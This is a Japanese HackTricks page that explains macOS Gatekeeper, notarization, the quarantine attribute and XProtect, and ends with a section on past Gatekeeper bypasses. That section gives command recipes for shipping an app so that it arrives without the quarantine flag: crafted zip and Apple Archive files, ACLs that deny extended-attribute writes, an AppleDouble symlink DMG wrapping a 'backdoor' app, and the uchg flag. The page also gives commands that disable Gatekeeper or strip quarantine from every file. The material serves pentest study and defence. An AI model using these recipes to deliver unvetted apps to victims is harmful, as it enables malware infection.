macOS Gatekeeper / Quarantine / XProtect

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

Gatekeeper

Gatekeeperは、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーがシステム上で信頼されたソフトウェアのみを実行することを保証するために設計されています。ユーザーがApp Store以外のソースから(アプリ、プラグイン、またはインストーラーパッケージなど)ダウンロードして開こうとするソフトウェアを検証することで機能します。

Gatekeeperの主要なメカニズムは、その検証プロセスにあります。ダウンロードしたソフトウェアが認識された開発者によって署名されているかどうかをチェックし、ソフトウェアの信頼性を確認します。さらに、Appleによってノータライズされているかどうかを確認し、既知の悪意のあるコンテンツが含まれていないこと、およびノータライズ後に改ざんされていないことを確認します。

さらに、Gatekeeperは、ユーザーがダウンロードしたソフトウェアの初めての実行を承認するようユーザーに促すことで、ユーザーの誤って害のある実行可能コードを実行するのを防ぐのに役立ちます。

アプリケーション署名

アプリケーション署名、またはコード署名としても知られるものは、Appleのセキュリティインフラストラクチャの重要な部分です。これらは、ソフトウェアの著者(開発者)の身元を確認し、コードが最後に署名されてから改ざんされていないことを確認するために使用されます。

動作方法は次のとおりです:

  1. アプリケーションの署名: 開発者がアプリケーションを配布する準備が整ったとき、開発者はプライベートキーを使用してアプリケーションに署名します。このプライベートキーは、AppleがApple Developer Programに登録したときに開発者に発行する証明書と関連付けられています。署名プロセスには、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することが含まれます。

  2. アプリケーションの配布: 署名されたアプリケーションは、開発者の証明書とともにユーザーに配布されます。この証明書には、対応する公開キーが含まれています。

  3. アプリケーションの検証: ユーザーがアプリケーションをダウンロードして実行しようとすると、Macオペレーティングシステムは、開発者の証明書から公開キーを使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致する場合、それは開発者が署名したときからアプリケーションが変更されていないことを意味し、システムはアプリケーションの実行を許可します。

アプリケーション署名は、AppleのGatekeeperテクノロジーの重要な部分です。ユーザーがインターネットからダウンロードしたアプリケーションを開こうとすると、Gatekeeperはアプリケーションの署名を検証します。Appleが既知の開発者に発行した証明書で署名されており、コードが改ざんされていない場合、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションをブロックしてユーザーに警告します。

macOS Catalinaからは、GatekeeperはアプリケーションがAppleによってノータライズされているかどうかも確認し、追加のセキュリティレイヤーを追加します。ノータライズプロセスは、アプリケーションを既知のセキュリティ問題や悪意のあるコードに対してチェックし、これらのチェックに合格した場合、AppleはGatekeeperが検証できるアプリケーションにチケットを追加します。

署名の確認

いくつかのマルウェアサンプルをチェックするときは、常にバイナリの署名を確認する必要があります。署名した開発者がすでにマルウェア関連付けられている可能性があるためです。

# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

# Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

# Get entitlements from the binary
codesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms

# Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

# Sign a binary
codesign -s <cert-name-keychain> toolsdemo

Notarization

Appleのノータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護する追加の保護手段として機能します。これには、開発者が自分のアプリケーションをAppleのノータリサービスによる審査に提出することが含まれます。このサービスは、App Reviewとは異なる自動化システムであり、提出されたソフトウェアを悪意のあるコンテンツやコードサイニングに関する潜在的な問題の有無を調査します。

ソフトウェアがこの検査をパスし、懸念事項がない場合、ノータリサービスはノータリゼーションチケットを生成します。その後、開発者はこのチケットを自分のソフトウェアに添付する必要があります。このプロセスは「ステープリング」として知られています。さらに、ノータリゼーションチケットはオンラインでも公開され、Gatekeeper(Appleのセキュリティテクノロジー)がアクセスできます。

ユーザーがソフトウェアを初めてインストールまたは実行する際、実行可能ファイルにステープリングされているかオンラインで見つかるかにかかわらず、ノータリゼーションチケットの存在により、GatekeeperにそのソフトウェアがAppleによってノータリゼーションされたことが通知されます。その結果、Gatekeeperは初回起動ダイアログに記述的なメッセージを表示し、Appleによる悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼を高めることができます。

Enumerating GateKeeper

GateKeeperは、信頼されていないアプリケーションの実行を防止するいくつかのセキュリティコンポーネントであり、またその1つでもあります。

GateKeeperのステータスを確認することができます:

# Check the status
spctl --status

GateKeeperの署名チェックは、Quarantine属性を持つファイルにのみ実行されることに注意してください。

GateKeeperは、設定と署名に従ってバイナリが実行できるかどうかをチェックします:

この構成を保持するデータベースは**/var/db/SystemPolicy**にあります。これをルートとして次のコマンドで確認できます:

# Open database
sqlite3 /var/db/SystemPolicy

# Get allowed rules
SELECT requirement,allow,disabled,label from authority where label != 'GKE' and disabled=0;
requirement|allow|disabled|label
anchor apple generic and certificate 1[subject.CN] = "Apple Software Update Certification Authority"|1|0|Apple Installer
anchor apple|1|0|Apple System
anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists|1|0|Mac App Store
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]

注意してください、最初のルールは "App Store" で終わり、2番目のルールは "Developer ID" で終わり、前の画像ではApp Storeおよび識別された開発者からのアプリの実行が有効になっていました。 その設定をApp Storeに変更すると、"Notarized Developer ID" ルールが消えます

GKEタイプのルールも何千もあります:

SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
cdhash H"5fd63f5342ac0c7c0774ebcbecaf8787367c480f"|1|0|GKE
cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE

これらは、/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth/var/db/gke.bundle/Contents/Resources/gk.db、および**/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db**から取得されるハッシュです。

または、前述の情報をリストすることもできます:

sudo spctl --list

オプション**--master-disable--global-disableは、spctlの署名チェックを完全に無効**にします。

# Disable GateKeeper
spctl --global-disable
spctl --master-disable

# Enable it
spctl --global-enable
spctl --master-enable

完全に有効にすると、新しいオプションが表示されます:

GateKeeper によってアプリが許可されるかどうかをチェックすることが可能です。

spctl --assess -v /Applications/App.app

GateKeeperに新しいルールを追加して、特定のアプリケーションの実行を許可することが可能です:

# Check if allowed - nop
spctl --assess -v /Applications/App.app
/Applications/App.app: rejected
source=no usable signature

# Add a label and allow this label in GateKeeper
sudo spctl --add --label "whitelist" /Applications/App.app
sudo spctl --enable --label "whitelist"

# Check again - yep
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted

ファイルの隔離

特定のmacOS アプリケーション(Webブラウザやメールクライアントなど)が、アプリケーションやファイルをダウンロードする際に、拡張ファイル属性である一般的に知られている "隔離フラグ" をダウンロードされたファイルに添付します。この属性は、ファイルを信頼できないソース(インターネット)から取得したものとしてマークし、潜在的なリスクを持つ可能性があることを示すセキュリティ対策として機能します。ただし、すべてのアプリケーションがこの属性を添付するわけではなく、たとえば一般的なBitTorrentクライアントソフトウェアは通常、このプロセスをバイパスします。

隔離フラグが存在する場合、ユーザーがファイルを実行しようとすると、macOSのGatekeeperセキュリティ機能が作動します

隔離フラグが存在しない場合(一部のBitTorrentクライアントを介してダウンロードされたファイルなど)、Gatekeeperのチェックが実行されない可能性があります。したがって、ユーザーは安全でないまたは不明なソースからダウンロードしたファイルを開く際には注意を払う必要があります。

コード署名の有効性チェックすることは、コードとそのバンドルされたリソースの暗号ハッシュを生成するなど、リソースを多く消費するプロセスです。さらに、証明書の有効性をチェックするには、発行後に取り消されたかどうかをAppleのサーバーにオンラインで確認する必要があります。これらの理由から、アプリケーションを起動するたびに完全なコード署名と公証チェックを実行するのは現実的ではありません

したがって、これらのチェックは隔離属性を持つアプリを実行するときにのみ実行されます。

この属性は、ファイルを作成/ダウンロードするアプリケーションによって設定する必要があります。

ただし、サンドボックス化されたファイルは、作成されるすべてのファイルにこの属性が設定されます。サンドボックス化されていないアプリケーションは、自分で設定するか、Info.plistLSFileQuarantineEnabledキーを指定することで、システムにcom.apple.quarantine拡張属性をファイルに設定させることができます。

さらに、**qtn_proc_apply_to_self**を呼び出すプロセスによって作成されたすべてのファイルは隔離されます。また、API **qtn_file_apply_to_path**は指定されたファイルパスに隔離属性を追加します。

状態をチェックして有効/無効にする(ルート権限が必要)ことが可能です。

spctl --status
assessments enabled

spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"

あるファイルがクォータンティン拡張属性を持っているかどうかを次のようにして見つけることもできます:

xattr file.png
com.apple.macl
com.apple.quarantine

拡張属性をチェックし、quarantine属性を書き込んだアプリを特定します。

xattr -l portada.png
com.apple.macl:
00000000  03 00 53 DA 55 1B AE 4C 4E 88 9D CA B7 5C 50 F3  |..S.U..LN.....P.|
00000010  16 94 03 00 27 63 64 97 98 FB 4F 02 84 F3 D0 DB  |....'cd...O.....|
00000020  89 53 C3 FC 03 00 27 63 64 97 98 FB 4F 02 84 F3  |.S....'cd...O...|
00000030  D0 DB 89 53 C3 FC 00 00 00 00 00 00 00 00 00 00  |...S............|
00000040  00 00 00 00 00 00 00 00                          |........|
00000048
com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# 00c1 -- It has been allowed to eexcute this file (QTN_FLAG_USER_APPROVED = 0x0040)
# 607842eb -- Timestamp
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded

実際にプロセスは「作成するファイルに隔離フラグを設定できる可能性があります」(作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした):

ソースコードに隔離フラグを適用

```c #include #include

enum qtn_flags { QTN_FLAG_DOWNLOAD = 0x0001, QTN_FLAG_SANDBOX = 0x0002, QTN_FLAG_HARD = 0x0004, QTN_FLAG_USER_APPROVED = 0x0040, };

#define qtn_proc_alloc _qtn_proc_alloc #define qtn_proc_apply_to_self _qtn_proc_apply_to_self #define qtn_proc_free _qtn_proc_free #define qtn_proc_init _qtn_proc_init #define qtn_proc_init_with_self _qtn_proc_init_with_self #define qtn_proc_set_flags _qtn_proc_set_flags #define qtn_file_alloc _qtn_file_alloc #define qtn_file_init_with_path _qtn_file_init_with_path #define qtn_file_free _qtn_file_free #define qtn_file_apply_to_path _qtn_file_apply_to_path #define qtn_file_set_flags _qtn_file_set_flags #define qtn_file_get_flags _qtn_file_get_flags #define qtn_proc_set_identifier _qtn_proc_set_identifier

typedef struct _qtn_proc *qtn_proc_t; typedef struct _qtn_file *qtn_file_t;

int qtn_proc_apply_to_self(qtn_proc_t); void qtn_proc_init(qtn_proc_t); int qtn_proc_init_with_self(qtn_proc_t); int qtn_proc_set_flags(qtn_proc_t, uint32_t flags); qtn_proc_t qtn_proc_alloc(); void qtn_proc_free(qtn_proc_t); qtn_file_t qtn_file_alloc(void); void qtn_file_free(qtn_file_t qf); int qtn_file_set_flags(qtn_file_t qf, uint32_t flags); uint32_t qtn_file_get_flags(qtn_file_t qf); int qtn_file_apply_to_path(qtn_file_t qf, const char *path); int qtn_file_init_with_path(qtn_file_t qf, const char path); int qtn_proc_set_identifier(qtn_proc_t qp, const char bundleid);

int main() {

qtn_proc_t qp = qtn_proc_alloc(); qtn_proc_set_identifier(qp, "xyz.hacktricks.qa"); qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED); qtn_proc_apply_to_self(qp); qtn_proc_free(qp);

FILE *fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);

return 0;

}

</details>

そして、次のようにその属性を**削除**します:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine

そして、次のコマンドで隔離されたすべてのファイルを検索します:

find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"

Quarantine情報は、LaunchServicesによって管理される中央データベースに保存されます。~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2

Quarantine.kext

このカーネル拡張機能は、システムのカーネルキャッシュを介してのみ利用可能です。ただし、https://developer.apple.com/ からKernel Debug Kitをダウンロードすることができ、このキットには拡張機能のシンボル化されたバージョンが含まれています。

XProtect

XProtectはmacOSに組み込まれた対マルウェア機能です。XProtectは、アプリケーションが初めて起動されるか変更される際に、既知のマルウェアや安全でないファイルタイプのデータベースと照合します。Safari、Mail、Messagesなどの特定のアプリを介してファイルをダウンロードすると、XProtectが自動的にファイルをスキャンします。データベース内の既知のマルウェアに一致する場合、XProtectはファイルの実行を防止し、脅威を警告します。

XProtectデータベースは、Appleによって定期的に更新され、これらのアップデートは自動的にMacにダウンロードおよびインストールされます。これにより、XProtectが常に最新の既知の脅威に対応していることが保証されます。

ただし、XProtectは完全なアンチウイルスソリューションではないことに注意する価値があります。XProtectは特定の既知の脅威のリストをチェックするだけであり、ほとんどのアンチウイルスソフトウェアのようにアクセス時スキャンを実行しません。

最新のXProtectアップデートに関する情報を取得するには、次のコマンドを実行します:

system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5

XProtectは、/Library/Apple/System/Library/CoreServices/XProtect.bundleにあるSIP保護された場所にあり、バンドル内にはXProtectが使用する情報が含まれています:

  • XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist:これらのcdhashを持つコードがレガシー権限を使用できるようにします。

  • XProtect.bundle/Contents/Resources/XProtect.meta.plist:BundleIDとTeamIDを介してロードを禁止されているプラグインと拡張機能のリスト、または最小バージョンを示すもの。

  • XProtect.bundle/Contents/Resources/XProtect.yara:マルウェアを検出するためのYaraルール。

  • XProtect.bundle/Contents/Resources/gk.db:ブロックされたアプリケーションとTeamIDのハッシュを持つSQLite3データベース。

XProtectに関連する**/Library/Apple/System/Library/CoreServices/XProtect.app**に別のアプリがあることに注意してくださいが、これはGatekeeperプロセスとは関係ありません。

Gatekeeperではない

Gatekeeperは、アプリケーションを実行するたびに実行されるわけではないことに注意してください。AppleMobileFileIntegrity(AMFI)は、Gatekeeperによってすでに実行および検証されたアプリケーションを実行するときにのみ、実行可能コードの署名を検証します。

したがって、以前はアプリを実行してGatekeeperでキャッシュすることが可能で、その後、アプリケーションの実行ファイル以外(Electron asarやNIBファイルなど)を変更し、他に保護がない場合、アプリケーションは悪意のある追加を含めて実行されていました。

しかし、現在はmacOSがアプリケーションバンドル内のファイルを変更できないように防止しています。そのため、Dirty NIB攻撃を試みると、Gatekeeperでキャッシュするためにアプリを実行した後、バンドルを変更できなくなるため、悪用することができなくなりました。たとえば、Contentsディレクトリの名前をExploitで示されているようにNotConに変更し、その後、Gatekeeperでキャッシュするためにアプリのメインバイナリを実行すると、エラーが発生して実行されません。

Gatekeeperのバイパス

Gatekeeperをバイパスする方法(ユーザーに何かをダウンロードさせ、Gatekeeperが拒否すべきときに実行させる方法)は、macOSの脆弱性と見なされます。これまでにGatekeeperをバイパスするための技術に割り当てられたいくつかのCVEは次のとおりです:

Archive Utilityを使用してファイルを抽出すると、886文字を超えるパスを持つファイルにはcom.apple.quarantine拡張属性が付与されません。この状況により、これらのファイルがGatekeeperのセキュリティチェックを回避することが誤って許可されます。

詳細については、元のレポートを参照してください。

Automatorで作成されたアプリケーションでは、実行に必要な情報がapplication.app/Contents/document.wflowにあり、実行可能ファイルにはありません。実行可能ファイルは、Automator Application Stubと呼ばれる一般的なAutomatorバイナリです。

したがって、application.app/Contents/MacOS/Automator\ Application\ Stubシンボリックリンクでシステム内の別のAutomator Application Stubを指すようにすると、実際の実行可能ファイルに隔離xattrがないため、Gatekeeperをトリガーせずにdocument.wflow(スクリプト)内の内容を実行できます。

期待される場所の例:/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub

詳細については、元のレポートを参照してください。

このバイパスでは、zipファイルがapplication.appではなくapplication.app/Contentsから圧縮を開始するアプリケーションが作成されました。したがって、quarantine属性application.app/Contentsのすべてのファイルに適用されましたが、Gatekeeperがチェックしていたapplication.appには適用されず、application.appがトリガーされたときには隔離属性がなかったため、Gatekeeperがバイパスされました。

zip -r test.app/Contents test.zip

チェックして、詳細情報は元のレポートを参照してください。

コンポーネントが異なる場合でも、この脆弱性の悪用は前のものと非常に似ています。この場合、application.app/Contents からApple Archiveを生成しますので、Archive Utility によって展開される際に application.app には隔離属性が付与されなくなります

aa archive -d test.app/Contents -o test.app.aar

チェックして、より詳しい情報を入手してください。

ACL writeextattr は、ファイル内の属性の書き込みを誰もが防ぐために使用できます。

touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'

さらに、AppleDoubleファイル形式は、そのACEを含むファイルをコピーします。

ソースコードでは、**com.apple.acl.text**というxattrに格納されたACLテキスト表現が、展開されたファイルのACLとして設定されることがわかります。したがって、ACLを設定して他のxattrの書き込みを防止するACLを持つzipファイルにアプリケーションを圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:

chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

詳細については、元のレポートをチェックしてください。

AppleArchivesでもこの脆弱性を悪用することができる可能性があることに注意してください:

mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar

Google Chromeがダウンロードしたファイルにquarantine属性を設定していなかったことが、macOSの内部問題によるものであることが発見されました。

AppleDoubleファイル形式は、ファイルの属性を._で始まる別のファイルに保存し、これによりmacOSマシン間でファイル属性をコピーするのに役立ちます。しかし、AppleDoubleファイルを展開した後、._で始まるファイルにはquarantine属性が付与されていないことが気付かれました。

mkdir test
echo a > test/a
echo b > test/b
echo ._a > test/._a
aa archive -d test/ -o test.aar

# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute

Gatekeeperをバイパスすることが可能でした。トリックは、AppleDouble名前規則を使用して(._で始める)、quarantine属性が設定されていない隠しファイルにシンボリックリンクとして見えるファイルを作成し、DMGファイルアプリケーションを作成することでした。dmgファイルが実行されると、quarantine属性がないため、Gatekeeperをバイパスします。

# Create an app bundle with the backdoor an call it app.app

echo "[+] creating disk image with app"
hdiutil create -srcfolder app.app app.dmg

echo "[+] creating directory and files"
mkdir
mkdir -p s/app
cp app.dmg s/app/._app.dmg
ln -s ._app.dmg s/app/app.dmg

echo "[+] compressing files"
aa archive -d s/ -o app.aar

uchg (from this talk)

  • アプリを含むディレクトリを作成します。

  • アプリに uchg を追加します。

  • アプリを tar.gz ファイルに圧縮します。

  • tar.gz ファイルを被害者に送信します。

  • 被害者が tar.gz ファイルを開き、アプリを実行します。

  • Gatekeeper はアプリをチェックしません。

Prevent Quarantine xattr

".app" バンドル内に quarantine xattr が追加されていない場合、それを実行すると Gatekeeper はトリガーされません

Last updated